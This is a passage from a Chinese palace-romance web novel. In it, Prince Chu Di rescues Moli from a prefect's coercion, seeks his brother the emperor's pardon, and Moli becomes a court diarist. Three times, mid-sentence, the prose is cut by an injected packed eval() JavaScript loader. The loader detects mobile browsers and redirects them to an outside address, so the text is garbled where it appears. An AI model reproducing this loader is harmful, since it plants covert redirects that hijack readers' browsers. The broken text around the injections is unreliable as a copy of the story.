36. 洞房深 茉莉不曾想，世上竟有如此无耻之人，一意将子女当做工具，却认自己尽心竭力，挟恩图报。一时委屈悲痛欲死，按耐不住，边流泪边发抖，少顷，怒极反笑。 贼夫妇听着渗得慌。 张玉桃嫌恶极了：“这死丫头，性情样貌跟她早死的小娘一模一样，你瞧她那眼神儿，多恨你。” 元综心虚大喝：“平日里纵着你了，今天摆这模样给谁看？嫁到京兆尹府，委屈你不成？若非看府尹面子，为父今日非得结实教训你一回。” 茉莉越怕，越是镇静，恨恨地望那贼父，切齿道：“你敢打我试试。” 元综猛地起身，走到茉莉面前，抬手要打，却始终没挥下去，背过身道：“把她锁回房里，着人伺候洗漱吃穿，收拾打扮好了，明日正午有人来接。” 张玉桃道：“过去几个月，郎君天天为她悬着心，这厢回家来，也不曾打她骂她，她不感念郎君宽厚，倒与你打仗来了。既然如此，何不打几板子，杀杀她的威风。” 元综发起邪火，朝张玉桃喝道：“你这妇人懂个鸟！府尹那头催得急，你休打她主意，害她卧床不能伺候。” 张玉桃讪讪一笑，向茉莉施威：“今日我暂且看府尹面皮，饶你这一回。入得府去，不好生伺候，看我不教把你打成残废。” 茉莉不低头，大叫道：“你打死我吧！来日自有人替我讨回公道！” 贼夫妇俱不应声，却把那翠玉收进袖口，转身要走。茉莉一急，使出吃奶的劲儿，挣开胖瘦婆子，在地上连滚带爬，抓住了元综衣袍下摆，“把玉佩还我！” 元综欲走，走不动，便将玉佩朝茉莉头脸旁砸去，恶形恶状地：“给你！”抬脚轻轻一踹。 茉莉捡起玉佩，如获至宝，捧在心口不放。闹过这一场，又气又累，仰倒在地，无声地落泪，泪花令烛火变得模糊，却更闪烁，在闪烁不定的萤火中，她想起楚棣。 * * 长安城里，楚棣假传敕令调动金吾卫，吩咐人马在城中搜寻，一夜不得，便遣上玉命四名心腹分别去蓝田元府和京兆尹府守候，一有消息，立时回报。 翌日，楚棣在宫中奏对，万幸事情暂未暴露，无波无浪，结束后，正去立正殿路上，蓝田传信来，元府一切如常，不见有人进出，但京兆尹府五更里驶出一辆马车，直奔城外。 楚棣听得，心里有了计较，算着时辰，去向太后请安后，出宫弯去镇国公主府，将纳妾一事实话说了，得到公主允准方往京兆尹府去。 两个门子见他气度不凡，笑呵呵问：“冒昧拜问郎君，在哪个署衙当值？” 楚棣背过不语，上玉喝道：“瞎了你的狗眼，这是襄王殿下，还不快叫京兆尹洪祎出门迎接。” 两个门子何敢多言，马上致歉，一人缓引楚棣进二堂入座，另一人疾行至内宅通传。 不过一时半刻，须发灰白的京兆尹，大腹便便，着一身银青团花便服，匆匆来至二堂，向楚棣见礼：“微臣参见襄王殿下。”躬身一礼。 楚棣在上首端起茶碗，吹一口，不说话，只管晾着。 京兆尹洪祎琢磨，朝臣和亲王私下见面，正经追究起来是重罪，襄王忽然登门，想必有要事，且是私事，否则散朝后便可说了。再者，他背靠镇国公主多年，地位稳固，眼下即便是圣人也不能随意动他。 因这底气，平日里，洪祎对那些不得宠的皇子公主，多看一眼都嫌晦气。楚棣眼下虽处境尴尬，但毕竟是圣人胞弟，任谁都能看出，他绝不属于失宠行列，是以，不得罪为上。 洪祎悄然起身，故作轻松：“不知殿下降临寒舍所为何事？” 放下茶碗，白瓷碗盖碰出脆响，洪祎不知何故心中一惊。见时候到了，楚棣方问：“府尹可听闻上元当日，城中走失年轻女子一事？” 洪祎恭敬答：“老臣略有耳闻。殿下入府，只是为这件事？” 楚棣正色道：“长安城中，良家子节下走失，至今全无音讯，一旦传扬出去，必使万千女郎人人自危。此事非比其他，府尹为何不以为意？” 洪祎不知内情，着意好言打发他去了，答道：“国中佛教兴盛，逢三元日前后三日，不设宵禁、不闭坊门，城中百姓夜行燃灯、观灯，自五十年前已成定例，更改不得。若为一女子取消，必将激起民愤，届时无人在意是何因由。此一事下官必令有司暗中查访，万望殿下切勿为此烦扰。” 楚棣听了，气不打一处来，讥讽道：“听闻府上姬妾成群，府尹镇日流连内闱，想是精力不足，对政务力不从心，才说出这混帐话。” 洪祎怪楚棣口无遮拦，心中大为不快，不觉冷声道：“国孝虽为三年，但今朝野，官员狎妓之风盛行，皆因柏婴公子所致，先帝在时，向来睁只眼闭只眼便过了。难道殿下寻着下官这个错处，要告御状去？” 楚棣怒道：“洪府尹，你好大胆子，竟敢妄议先帝。” “老臣不敢。”洪祎站得笔直，拱手一揖，脸却扭向别处：“殿下不日就要南下，不忙己事，却来老臣府中消遣，不争明日朝会告到御前，追根溯源起来，撕破了遮羞布，咱们都不好看。” 见他发作，不好应付，楚棣话头一转：“本王忧在将来，好意入府相劝，竟惹洪府尹不快，莫非城中良家子走失一事，府尹尽皆知晓内情？” 洪祎方才说那话，是告诉楚棣别再缠他不放，却不想这竖子言辞愈发过分。心一横，回头怒斥：“休要胡言，本府行得正坐得端，殿下但有真凭实据，只管送到御前，圣人自有裁决。” 楚棣拔剑，比到洪祎颈上：“此镇国公主剑，三品以下官员，先斩后奏。” 洪祎无奈一笑：“本府深受公主大恩，公主要斩，自当引颈以待。但殿下须得知道，狸猫变不成太子。本府任京兆尹，不偏不倚，正三品上。殿下请教。” 剑越发逼近，楚棣恨不得一剑结果了他，可是不能，正当收剑入鞘，洪祎自撞上去，在脖颈间留下一道不深不浅的划痕，涌出血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120142|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花。 楚棣不理，面赛铁板，目透寒光，定在那张满布饿纹的脸上：“说说吧，蓝田元府新送到府上那名姬妾。” 洪祎只是不答，冲楚棣冷笑：“襄王殿下，庭前臣工皆赞你纯良仁厚，端的是个君子，想必连日身侧阿谀奉承之徒过多，教你忘了礼法。本府长你三十几岁，入仕多年，排资论辈尚在宋蔺、王山遥以前，你虽为天家血脉，但我大晋依法治国，无比严苛，你今日持剑闯衙，剑刺本府，已犯下重罪。还不快走，莫非要逼本府依法收押你不成？” 楚棣傲然一笑：“本王十岁熟读《晋律》，清楚自己在做什么，不劳府尹相教。”见洪祎始终不接话茬儿，只得说明了：“相烦府尹将那女子交与本王。” 洪祎听了，只是好笑，又恼楚棣手伸得太长，管到自家内宅。那小女子，眸清可爱，春桃拂脸，作舞时身姿曼妙，体轻欲飞，他百般威逼利诱，方从元综手里讨来，自是不肯随便与人。 妾通买卖不假，但凭他楚棣是谁，断没有霸占臣子妻妾的道理，洪祎怒从中来，扔下一句：“本府要务在身，殿下自便。”甩袖便走。 当时走出去，洪祎已有几分失悔，因想到，楚棣性情好，得罪了不要紧，只是圣人疼他，若知自己今日这般轻慢他，那就不好了。恍然摸至颈上伤痕，湿湿的，拿了主意，此事不能轻轻揭过。 楚棣脸上挂不住，捏拳追将上去，要把洪祎痛揍一顿。上玉追来拦住，附耳道：“打听清楚了，姑娘此刻就在内宅。” 洪祎一路穿花拂柳往内宅去，楚棣心里有了计较，特意等过片刻，见人的确进内宅，方跟上去。 守门小厮被上玉引到一旁闲话，楚棣趁机进门，躲躲闪闪跟了一路，直到洪祎走进一间偏院，推开门，进了屋子，门外只有一管家打扮样人守着。 楚棣躲在墙下，扔块儿石头进去，管家立时四下张望，然后又扔两回，那动静才教管家追到院外叫骂。楚棣从身后将其挟住，一把雪亮的短刀悬在颈上，“里面可是蓝田元家送来的女子？” 管家怕死，忙不迭点头：“是，是是。” 楚棣不多问，一手刀把人劈晕，冲进院里推开门，但见一小厅，向里一间卧房，粉纱艳饰，兽炭红炉，飘出缕缕白烟，淫香扑鼻，闷得十分暖和。 循着动静进去，正见一张紫檀木桌，摆一壶热酒，两个银酒杯，茉莉嘴中塞着布团，双手被粉红缎子悬在拨布床两边，洪祎自行解开衣带，身上松松垮垮，一凑上去，便被茉莉抬腿踢开。 茉莉一袭粉红齐胸破裙，被灌了酒，头脸绯红，眼前天旋地转，尽管喉中呜呜咽咽，却咬在牙关，没哭出声。 洪祎见了，但觉别有趣味，取下她口中布团笑道：“元综奴颜卑膝，竟生下你这么个烈性子，本府喜欢。你若从我，将来有你的好日子。”越发离得近了。 楚棣闯进来，见这一幕，再顾不得，一记飞踢过去，正中背心，洪祎肥腻的身体登时重重跌在床上，一句整话说不利索。 37. 世中逢尔 楚棣站到床前，抓着衣领只顾打，两拳下去，洪祎口鼻迸出鲜血，瞪大双眼急急地喘气，渐渐地，只进不出了。 茉莉生怕楚棣惹出官司，忙哭喊道：“大哥快别打了！” 楚棣回过神，把茉莉双手解开，握住她肩膀问：“可受伤了？” 茉莉泪盈于睫，连连摇头。 三天里，她只吃过几口水并半顿饭，被送进府时，女使给灌下大半壶热酒，酒劲上头，烧得浑身难受，这厢又见了血，腥味和熏香杂糅，闷在胸口，恶心极了。 楚棣问道：“能走吗？” 茉莉低低地“嗯”一声，起身揉着腕子，回头看着洪祎，很担心。 楚棣回头一探鼻息，当时心里打鼓，有点后怕，但事情已经做下，没得后悔的道理，只管扶茉莉往外走。 洪祎鼻青脸肿，身上浑似散架一般，使不上力，只嘴里说：“打的好。”声音极轻。 楚棣回去，一手抓紧洪祎领口，提将起来，恨声道：“你这狗官，再敢找茉莉姑娘麻烦，当心你项上人头。” 闻言，洪祎脸上竟泛起一阵诡异的笑容。 楚棣抬手要打，却被茉莉抓住手臂，劝道：“大哥别再打了，我一点儿事也没有。”其实心里委屈仇恨得厉害，只是她读过晋律，懂得晋律可贵之处便是“天子犯法，与庶民同罪”故而再恨，也不想害楚棣犯法受刑。 “那好，”楚棣走到茉莉面前，将身上狐皮大氅脱下，将她裹住，“看在你的面子，饶他一命。”是大话不假，但惹急了他，把这狗官私刑打死也不在话下。 茉莉登时不冷了，二人一径走出房间，她始终抓着楚棣的胳膊，缩在他身后。 院中站着一个中年妇人，衣饰丽都，左右婆子女使环绕，四下里围了好些府兵，拉开弓，严阵以待。 楚棣波澜不惊，手心覆上茉莉手背，安慰道：“别害怕。” 这妇人是洪祎结发妻子李氏，双名银瓶，父母早丧，女承父业。未婚时，一直独自经营自家酒楼，几年间，做得风生水起，足见其精明能干。成婚后，为支持丈夫赶考和疏通门路，自愿将酒楼变卖，回到内宅洗手做羹汤。 起初，夫妇二人举案齐眉，遇事有商有量，内外一体，铜墙铁壁。随着洪祎步步高升，时有同侪下属设宴款待，席间轻歌曼舞，一帮子士人纵情声色，自然而然，送美姬妾入府与他享用，自那时起，洪祎便频频纳妾。 李银瓶自是不满，但“三从四德”教她要有容人之量，故而那些姬妾入府，她都不咸不淡待着，并不专门对付，但这小女子例外，因她竟教洪祎念念不忘，两月有余。 今晨，听闻新人入府，李银瓶正寻思怎么给个下马威，忽听得前院来报，襄王为那女子闯进内宅，当时心里有了计较，一是让那没良心的踢铁板，吃教训；二是襄王位高，倘使府兵与他打斗，输赢先不计较，以下犯上却坐实了，有理也无理，来日必输官司；三是将这女郎拱手让他，就此平息争端不说，也解了她心头大患。 李银瓶厉声问：“来者何人？竟敢擅闯我京兆府内宅。” 楚棣道：“我乃襄王楚棣，尔等不下跪参拜也罢，以刀戈相向，莫非要刺杀本王？” 此言正中下怀，李银瓶道：“既是襄王殿下，就请到二堂坐下喝杯茶水，待院中女使将小女郎收拾妥帖，自当全须全尾还与殿下。” 楚棣寒声道：“夫人有这闲工夫，先进屋照看洪府尹吧，本王这便回宫将此事通报圣上。” 李银瓶直犯嘀咕，但一细想，丈夫毕竟是三品京官，自有法度制他，无缘无故的，饶是圣人，也不能把他生生打死，故凑上前，好生好气地：“殿下，老妇数年前向太后请安时，与殿下有一面之缘，今日有幸再见殿下少年英姿，实是欣喜之至，留府品茶，别无他意，殿下万勿多虑。” 楚棣应道：“承蒙夫人记挂，只是今日不巧，本王有要事在身，必得带姑娘走了。先前府尹出言不逊，本王气不过，追进来赏了他两记老拳，不曾下力气将他打死，只要好生将养几日，自会好的。有劳夫人费心。” 李银瓶实心说：“既是殿下不肯久留，老妇自当恭送殿下出府。姑娘之事，且请殿下宽心，我家官人必不再纠缠，等他好些再去信元府，说明今日事由，从今揭过。至于打斗，老妇在时当尽心劝解，了当与否便不知了。” 听罢，茉莉自知有了活路，心中大喜，抓得楚棣胳膊更紧。 二人与李银瓶别过，离开京兆尹府。上玉并两队人马在照壁前列队等候，一见出来，便迎上去，关切道：“殿下一切顺利？” “顺利。”楚棣扫茉莉一眼，出一口气道：“回宫。” 茉莉本就犯恶心，这厢冷风一吹，登时浑身不爽，自胃中呕出一口酸水，蹲在地下直吐，楚棣躬身轻轻顺她背心，问道：“吐完好些吗？要不先找家医馆歇歇，教大夫给你瞧瞧。” 茉莉起身，朝楚棣盈盈下拜，口中道：“多谢大哥再造之恩，茉莉此生结草衔环，必报大恩。” 楚棣忙扶茉莉起来，道：“你救我一回，我救你一回，咱们扯平，别说什么报不报恩的，生分。” 茉莉仰脸笑道：“好，都依大哥的。”随即接过水囊，喝水漱口，“不用去医馆了，我想先回内廷。” 两个马奴自街口把马车赶来，楚棣不放心，和茉莉一道上了车，闭了窗户，相对而坐。 短短三天，茉莉又历经一场生死，先前身处险境，不敢哭也不愿哭，这厢脱了险，心爱之人近在眼前，反倒止不住的委屈，埋着头脸，泪恰似断线珍珠般，一粒粒滚落，无声无息，唯有肩头翕动。 少年时，楚棣做精作怪，最爱逗妹妹咧嘴大哭，随即逗得大笑，何尝见过这一味隐忍的哭法。心里十分疼她。他坐过去，安慰道：“有我在这里，你不用怕，放声哭吧。” 内宅中的细碎搓磨，年深日久，让茉莉失去放声大哭的本能。听得此言，心中一暖，眼泪掉得更凶，不停抬手抹泪，却仍没有声音。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120143|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>楚棣疑心有事，再坐近一些，问道：“你果真没受欺负么？” 茉莉喉中梗得厉害，话不成句，只是点头。 楚棣再挪，坐到茉莉身子寸许之处，几乎能感受到彼此体温，从怀里取出丝帕与她，说道：“用它擦眼泪吧。” 茉莉接过一看，却是初遇时自己为他包扎伤口的帕子。没想到他还留着，心里更加暖了。 她不问，楚棣也不说，只是陪她。 马车内只听得街上叫卖声，静了好半晌，茉莉终于平复下来，不再哭了。她心里喜欢楚棣，楚棣也喜欢她，但是孤男寡女同处一室，不声不响，暧昧却尴尬。 二人都是情窦初开，于男女之事一窍不通，此时情到深处，难以自持，便忘了男女大防。 茉莉没有抬头，只是轻声道：“大哥，我冷。” 楚棣疑心没听清楚，要问“什么”，顿住片刻，不声不响地抱住茉莉，手掌在背心轻抚。因他常年习武，体健肩宽胸阔，正是歇息的好所在，茉莉仰倒在那方寸之间，耳朵贴紧他的胸口，听得心中鼓乐大作。 茉莉作恶道：“你心跳得好快。” 楚棣支支吾吾地：“我，我紧张的时候就会这样。” 茉莉仰脸一笑：“嘿嘿，我知道。” 楚棣脸上一阵红，一阵更红，知道她已对自己了如指掌，此后再难逃出她的掌心了。抱得更紧，问道：“你还冷吗？” 茉莉答：“不冷，”也把楚棣抱紧，闭起眼，十分惬意，“只要你抱着我，就不会冷。” 楚棣窝心，轻轻笑道：“姑娘有命，楚棣莫敢不从。” 贪恋温柔片刻，茉莉脑中不停闪烁着今日之事，后怕得紧，忍不住问道：“大哥，此事若上达天听，你能全身而退吗？” 却把楚棣给问住了，圣人心思如海，他吃不准。心情好时，赦他无罪；心情坏时，判他砍头，都有可能。不过，他不后悔。 从决定调动金吾卫时，他就没想过能全身而退。大丈夫立于天地间，不在身份地位，此事定罪，不论刺配流放，或贬为庶人，他都受得。 楚棣沉吟半晌，忽然笑道：“你忘啦？陛下是我的阿兄啊！” 茉莉将信将疑：“可是晋律严苛......陛下初登大位，朝中暗潮涌动，这番你触法斗殴，若是公正追究下来，会受怎样的惩罚？”越说眉心蹙得越紧。 楚棣不想让她担心，可是轻易糊弄不过，只得如实说：“大不了我送他一条腿！” “啊！”吓得茉莉花容失色。 楚棣忙安慰道：“别担心，我这便去向陛下负荆请罪，定会没事。” 话毕，马车已停在永安门前，二人在车内依依告别，楚棣叮嘱道：“安心等我消息。” 当时茉莉下车回宫，由上玉护送回宜春院，楚棣怔怔地瞧着她的背影远去，直到模糊不清，方提步往太极宫去，在佛光寺附近砍了一大抱荆条，然后把上身脱得精光，将那荆条负在背上，跪在雪中等候传召。 38. 面圣 恰是雪化初晴时分，楚棣在甘露殿外足跪了大半个时辰，裤子被雪水浸透，膝盖湿冷难忍，背上血流如注，方等来圣人传召。 楚棣起身前，将手插进雪里，手掌包住膝盖揉了一会儿，待不那么麻了，才起身往殿里去。 殿内地龙烧得正旺，正中瑞兽吐息，宫人内侍均垂首侍立，一室寂静。圣人坐在上首龙椅，批着奏折，眼也不抬：“演完《枕中记》，怎么就到这出《负荆请罪》了？” 楚棣躬身跪地道：“臣弟行事荒唐，今日特来请罪。” “哦？”圣人来了兴致，放下御笔，抬眼笑道：“说来听听。”楚棣这几日何故上蹿下跳，他心下了然。 楚棣明白，私自调兵是触碰逆鳞，故而心中一阵害怕，低声禀告：“上元那日，臣弟调动金吾卫在城中寻人，故而缺席夜宴。请陛下治罪。” 圣人神色自若：“你请哪桩罪过呢？” 楚棣答：“请数罪并罚。”心里忐忑，不知他葫芦里卖的什么药。 圣人摇头道：“你先告诉我，是为了找谁。” 楚棣讨价还价道：“臣弟说了，陛下可不能祸水东引。” “那是自然。”圣人笑道：“这些年，你如苦行般不近女色，而今能做出‘冲冠一怒为红颜’的事情，真叫朕目瞪口呆。” 楚棣被说个大红脸，脑袋垂得更低了：“请陛下别再拿臣弟打趣了。这女子是蓝田县令庶女，因父母送她与洪祎为妾，逃婚出来，在蓝田郊外救过我一命，便结伴来到长安。她舞艺极好，入教坊司选为前头人，父亲在时还赏过她呢。上元那日，我听说她在宫外失踪，一时着急，便调动金吾卫在城中寻人，遍寻不到。” “可是与你同去蓝田大营那个？”圣人问。 “是。幸好有她，咱们才知道军中将佐不和。” “后来？”圣人一细想，便知当日在东宫，阿碧和楚棣说的出阁，并不是自己想的那样。 “我分别派人去蓝田和洪府，终于在今日找到她了，眼下人已送回宜春院。” “洪祎肯将她让你？” “什么让不让，只是救她出来。”楚棣激动道：“我见洪祎用强，一着急，打了他两拳，走时奄奄一息，不过陛下放心，他肯定死不了。”话音未落，觉出语气不妥，伏身在地，惭愧道：“请陛下治罪。” 圣人见得他背上道道血痕，忙命人上前解下荆条，把衣裳穿好。思忖片刻便拿定主意，也不吓唬他了。 自己年少荒唐时，也曾“冲冠一怒为红颜”，做局诛杀一名阁员三族，楚棣行事柔和，不值一罚。不禁叹道：“洪祎色胆包天，今日姑且算你替天行道，朕不追究。来日他鼓动御史台参你，朕也当为你解难。” 楚棣重重一叩：“臣弟谢陛下不杀之恩。” 圣人道：“行了，起来吧。不治你罪，还演什么？” 楚棣起身上前：“我当时想着，他好生交出茉莉姑娘便罢，否则我定不饶他。其实打过他，我也后悔，但转念一想，他私德有亏，欺压百姓，人人得而诛之。” 听得这句，圣人脸色不大好看，只道：“我初登帝位，臣工多有不服，朝野暗潮涌动，非你一拳一脚就能成事。你有心帮忙，那就做一番功业，出将入相；无心帮忙，那就安守本分，别给哥添乱。” 楚棣一阵羞愧，自是千依百顺了，问道：“那么，兄长希望我怎么做？” 圣人叹道：“你性情飞扬，胸无城府，自是不适合庙堂，就拿今日之事来说，可大可小，若以常理度之，便会将自身置于险境。你曾说要做闲散人，目下机会到了，只要你说，我都依你。 楚棣道：“古语云‘打虎亲兄弟’，庙堂凶险万分，小弟自当为兄长掠阵。小弟无甚大才，只是多年受兄长所爱，深感大恩，留在庙堂，纵然帮不上忙，也绝不会在危急时分弃你而去。否则小弟余生都将在悔恨都度过。” 圣人起身，走到楚棣面前，莞尔笑道：“我知道，我阿弟好，愿意陪着我流浪山野。” 楚棣低下了头，两颊绯红，心想这卢绾嘴上没个把门儿的，怎么什么都往外说。 见状，圣人道：“但愿你我兄弟齐心，永远不为权势反目。” 楚棣惊得连忙跪地：“楚棣定当尽心竭力，为兄长效忠。” 圣人伸手扶起，说道：“你我一母同胞，自当同气连枝，只是别说什么尽心效忠的话，你需得知道，你所做的一切，全是为你自己，不过稍带着于我有利。你决心留于庙堂，虽暂且做不得大事，但也好令暗中窥伺的人息了不臣之心。” 楚棣恭恭敬敬的道：“多谢兄长教诲。” 圣人回到龙椅，关切道：“背上伤要紧么？明日就要南下，路上只会越发湿冷，没得到时候疼得你生不生、死不死的。” 楚棣站直道：“小伤，涂几天药膏就会好的。” 圣人叮嘱几句过后，批阅奏折，不再说话，楚棣旋身打道回府。 翌日一早，茉莉听说楚棣南下，圣人于太极宫赐酒相送，便知他没有后顾之忧，登时倍感安心。魏缨却觉得事情尚未结束，镇日担心，大半时间都在疑神疑鬼。 二月初午后，晌晴薄日，茉莉正在杏坛练字，忽听得门外魏缨唤道：“茉莉，快来！” 茉莉放下笔，起身快步出门，问道：“姐姐找我有事儿？” 魏缨道：“圣人召你去甘露殿，那宣召内侍此刻就在咱们院中。” 茉莉心道，旬日前便听说洪祎鼻青脸肿上朝，状告楚棣私斗，几名御史闻风而动，上奏请求严惩，但始终不得回音。今日忽然宣召，难道是楚棣不在，圣人欲拿自己息事宁人不成？纵使心下惴惴不安，也只得收拾书箱，跟魏缨回去。 一路上，魏缨教茉莉行礼作答，如何自保，她都用心学了，记得牢牢的。本想去时向内侍探探口风，可那人嘴严，硬是半句不透，她便知道，到了御前，那些东西全不济事。 到得甘露殿外，内侍低声道：“咱家入内通传，请姑娘在此等候。” 茉莉躬身颔首道：“多谢总管。” 倒春寒，风刮得正紧，碰到身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120144|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恰似刀子一般，刀刀剐人骨肉。茉莉等在廊下，被穿堂风吹得发抖，为了暖和一些，就在门外踱来踱去，过得一刻，一名内侍送王山遥出来，方对她道：“姑娘请进。” 去得内殿。圣人居中而坐，茉莉在殿中伏跪一礼：“宫人元氏参见陛下。” 圣人目光尽皆落到茉莉身上，问道：“你叫什么名字？” “茉莉。”茉莉埋头答。 圣人道：“抬起头来。” 茉莉强自镇定，对上他探究的目光，怯生生的，却掩盖不了眸中那份倔强。 “朕见过你。”圣人平静道。 此言一出，茉莉心下大惊，不禁瞪大双眼。细算算，她面圣总有两三回了，直至今日，才在情急之下“直视天颜”，她也认出来了，当今圣上，便是她在杏花楼跳舞结束时看见的玉面郎君。 那时，他是太子。 茉莉小心翼翼，不敢多言。 圣人肃然道：“你与楚棣相识多久了？” “四个月。” “短短四个月，他就肯为你犯下死罪。” 茉莉一时无言以答，只好埋着脸，不自觉地咬紧下唇，想法子。 圣人俯身向前，又道：“说说吧，你们到哪一步了。” 茉莉一怔，摇摇头道：“奴婢不懂。” 圣人更觉有趣，这少男少女互生情愫，是无论如何也藏不好的。在他面前不老实，想找钉子碰么？楚棣是个面瓜，敢把随身玉佩送人，却不知道找个好借口搪塞阿娘。只怕早想将他们这层关系昭告天下了。 他被噎了一气，思忖片刻，正色道：“楚棣贵为皇子，本该自在一生，不为外物所累，但他心怀大志，要成功业不难，只是若要此生功业登峰造极，就必得有一门令他受益终身的婚事。朕知道，你们情投意合，故朕不以你出身寒微而轻贱，但人言‘娶妻娶贤’，你认为，你担得起一个‘贤’字么？” 一席话，楚棠说得尖酸刻薄，却教茉莉毫无还击之处，当时听得两颊绯红，直想找条地缝钻下去。 只是，她从不认为，他们的爱是错误。 忽听得圣人道：“朕只有这一个阿弟，为了爱他，朕可以将你赐给他——入府为妾，你可愿意？”话到此处，语气已十分冷峻，不容半点转圜。 茉莉怔住，不知圣人何如想，两情相悦，就一定得嫁吗？她自问，从未想过攀上天家的高枝。 那弹指功夫里，殿内气氛降至冰点。少顷，茉莉愣生生答：“回陛下，奴婢不愿意。” 圣人神色依旧，但眼中有了些许温度。 茉莉道：“奴婢生母虽是农妇，但父母兄嫂疼爱，少年时从未受苦。自入元家为妾，不曾得过一日好，生下奴婢后，郁郁寡欢，不久便撒手人寰。奴婢曾有两度被生父嫡母送与高官为妾，好不容易逃出命来，得了如今的自在，自是不肯断送。奴婢虽与殿下知心，但自知身份卑贱，从未肖想入府。今承蒙陛下抬举，只是奴婢决然不能谢恩，正所谓‘知耻近乎勇’，奴婢无法忍受自己走上母亲的老路。” 39. 初入门下 楚棠笑的意味不明：“如此说来，你以你生母为耻？并且，你不信任你和楚棣的感情。” 茉莉抬头，迎上那深邃幽静的目光，切齿道：“不！我从未以我母亲为耻。至于感情，奴婢从不认为能够永恒。” 楚棠似乎很满意，问道：“那何谓‘知耻近乎勇’？” 茉莉不假思索：“奴婢母亲一生受制于人，从未有过选择的权利，但奴婢有。难道奴婢不愿为妾，陛下会强迫奴婢不成？” 楚棠正色道：“不会。”少顷，忽然说：“朕少年时，太后教过我一个道理。” 茉莉不解：“什么道理？” “君可令臣死，不可强使女人爱。”楚棠说时，眼神明亮，一如少年。 面对君王莫名的交心，茉莉着实蒙了，不知道该如何应对，待省过来，便伏跪在地，高呼：“奴婢叩谢圣恩。” 一番奏对，让楚棠对茉莉有些刮目相看，久居人上，往来皆为贵女，不论私下如何，一旦见着他，都只规矩得如木胎泥塑一般，不鲜活。 “你叫什么名字？”“茉莉。” 这个茉莉，虽不算大气，但眉宇间萦绕着一种只属于原始生命的野性，未经驯化，也许，永远不会被驯化。 楚棠自恃相人有术，但觉茉莉是可造之才，微微笑道：“你先起来。” 茉莉起身：“谢陛下。” 楚棠淡然道：“朕知道你逃家入宫后屡遇贵人，教你读书明理，如今算是重获新生了。但，”稍顿，他说：“你与楚棣，难有将来。你留宜春院中，亦难有作为。今日在此，你可如实告朕，你对将来有何打算？” 茉莉心头猛地一跳，随即参透话里玄机，这是一场用爱情换前途的交易。虽然不舍、不甘，但她知道，必须为自己多做打算，她既非男子，亦非权贵，人生之路不容踏错半步。思忖有顷，再度伏跪于地：“奴婢愿到御前侍奉陛下。” 楚棠沉吟片刻：“那你来吧。只是，你甘心一辈子做个宫人？” “不，”茉莉解释道：“奴婢要像裴大人，做个有品秩、配鱼袋的官。” “像裴九？”楚棠大为惊讶，赞道：“你有志气。” “伏望陛下成全。” “你父蓝田县令元综，正六品上。既然你说你生母受制于他，那朕任命你为起居郎如何？虽只从六品上，但在门下省任职，日后相见，你父亲矮你一头。” “微臣叩谢圣恩！” 连日来，茉莉深居简出，遨游书海，得知秘书省兰台郎负责图书收藏、抄写事务和校勘典籍，对此职极有兴趣。今日鬼使神差得了入仕机缘，她却突然变卦，端的想在御前增长见识，学得谋略，成就功业。 见圣人好说话，茉莉开口道：“陛下，微臣有个不情之请。” 楚棠道：“说吧。” 沉默良久，茉莉深深伏跪于地：“请陛下下旨，命臣生父元综写下休书，将臣与母亲剔出家谱，母亲坟茔迁回母家，臣要改随母姓。” 楚棠竟看不透她，只道：“你可想清楚些。士农工商，大小你父亲是个士人。” 茉莉答：“臣心里清楚，请陛下成全。”因她决心已定，来日要回到蓝田收集证据，将那对豺狼夫妻送上公堂，受审坐法。越快改换门庭，便能越快报仇雪恨，若不与元氏断绝关系，将来极可能祸及自身。 楚棠无心探究，应了声：“好。” 当下无话，茉莉退行出殿，欢天喜地回到宜春院中，将今日一切都尽数说与魏缨，除了楚棣那部分。末了，两个姑娘热泪盈眶地抱在一起。 茉莉歪在魏缨身上，忽然说：“姐姐，我都想好了，一有机会，我便将你引荐给陛下。” “好也！”魏缨搂着茉莉，打趣道：“没想到，姐姐的荣华富贵，要全系于妹妹一身了。” “姐姐恰似神妃仙子，今日我也瞧清楚了，陛下姿容既好，神情亦佳，”话到此处，茉莉不觉凑到魏缨鬓边，悄声道：“配与姐姐，十分好了。”至于那王山遥，往后见着姐姐贵为贵妃，该后悔吧。 “你这丫头胡说，看我不撕你的嘴！”魏缨涨红了脸，双手捏住茉莉两颊，作势往两边扯。 茉莉告饶：“好姐姐，饶了我吧！”双手已扶住魏缨肩膀。 魏缨机警地张望四下，叮嘱道：“起居郎负责记载圣人御殿时的言行与国家大事，所书一切，每季终了要呈递给事中和谏议大夫，兼知起居注，是为一类史书。身居要职，周遭虎狼环伺，你在任时当处处警觉，不可再言行无状，更不可与男官角力。记住了？”点点她的鼻尖。 